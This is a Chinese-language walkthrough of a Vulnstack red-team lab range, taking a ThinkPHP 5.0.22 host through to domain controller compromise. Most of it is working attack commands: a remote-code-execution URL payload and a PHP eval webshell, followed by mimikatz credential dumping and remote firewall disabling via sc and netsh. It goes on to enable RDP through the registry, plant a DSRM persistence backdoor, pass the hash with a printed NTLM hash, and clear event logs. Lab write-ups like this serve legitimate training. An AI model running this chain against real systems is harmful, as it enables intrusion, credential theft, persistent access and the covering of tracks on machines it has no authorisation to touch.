红日ATT&CK红队实战(五)
项目拓扑
项目搭建
靶场下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
网卡设置:NAT模式 192.168.135.0/24 VMnet1仅主机模式 192.168.138.0/24
登陆 win7,sun\Administrator dc123.com,更改密码,开启phpstudy
登陆 windows 2008,sun\admin 2020.com,更改密码
外网打点
端口扫描
只有80和3306端口存在,先来看看80端口是什么情况。
访问80端口,发现是一个ThinkPHP的框架,但是具体版本不知道,尝试让网站报错从而获取版本号。
版本v5.0.22,这下好办了,直接漏洞库检索一波
thinkphp命令执行漏洞
可以获取到数据库账号,但是获取不到密码,尝试暴力破解,提示无法连接到该服务器,应该是做限制了。
http://192.168.135.150/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入webshell
http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > shell.php
内网渗透
上线metasploit
菜刀连接,上传后门,运行获取session,一气呵成。
先来迁移一个SYSTEM权限的进程
mimikatz抓取到明文密码
sun\Administrator cd123.com
net start
发现防火墙是开启的,先把防火墙关闭。
netsh advfirewall set allprofiles state off # 关闭防火墙
netsh advfirewall show allprofiles # 查看防火墙状态
查看ip地址信息
外网网段:192.168.135.0/24
内网网段:192.168.138.0/24
域控IP:192.168.138.138
也可以使用如下模块获取域控IP
run post/windows/gather/enum_domain
添加路由
搭建隧道
显示如下信息,证明隧道是搭建成功的
proxychains4 nmap -Pn -sT -p 53,80,88,8080,135,139,445,3389 192.168.138.138
使用windows/smb/psexec模块横向失败。
使用wmiexec横向也失败了
后面搞明白了,这里其实是没有关闭域控防火墙的缘故,导致这里一直会报错。
建立ipc$连接
创建服务来关闭域控防火墙
sc \\192.168.138.138 create disablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.138.138 start disablefirewall
关闭域控的防火墙后,可以使用psexec模块来获取域控session,然后使用rdp模块开启3389端口;也可以使用我这里的办法,使用wmiexec来连接域控,使用注册表命令来开启3389端口。
开启远程桌面连接。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
扫描端口,发现3389端口已经开启。
权限维持
创建DSRM后门
在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。
DSRM后门适用于Windows Server 2008及以后版本的Windows服务器
首先,我们为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码:
ntdsutil // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码
<password> // 输入新密码
<password> // 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil
使用kiwi模块执行mimikatz命令来读取域控本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd token::elevate
kiwi_cmd lsadump::sam
User : Administrator
Hash NTLM: 42e2656ec24331269f82160ff5962387
使用如下命令将DSRM的登录方式设置为“2”,这样在任何情况下,都可以使用DSRM管理员账号登录域控制器:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD
在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控。
kiwi_cmd sekurlsa::pth /domain:DC /user:Administrator /ntlm:42e2656ec24331269f82160ff5962387
痕迹清理
run event_manager -i 查看事件日志
run event_manager -c 清除事件日志(包括六种日志类型)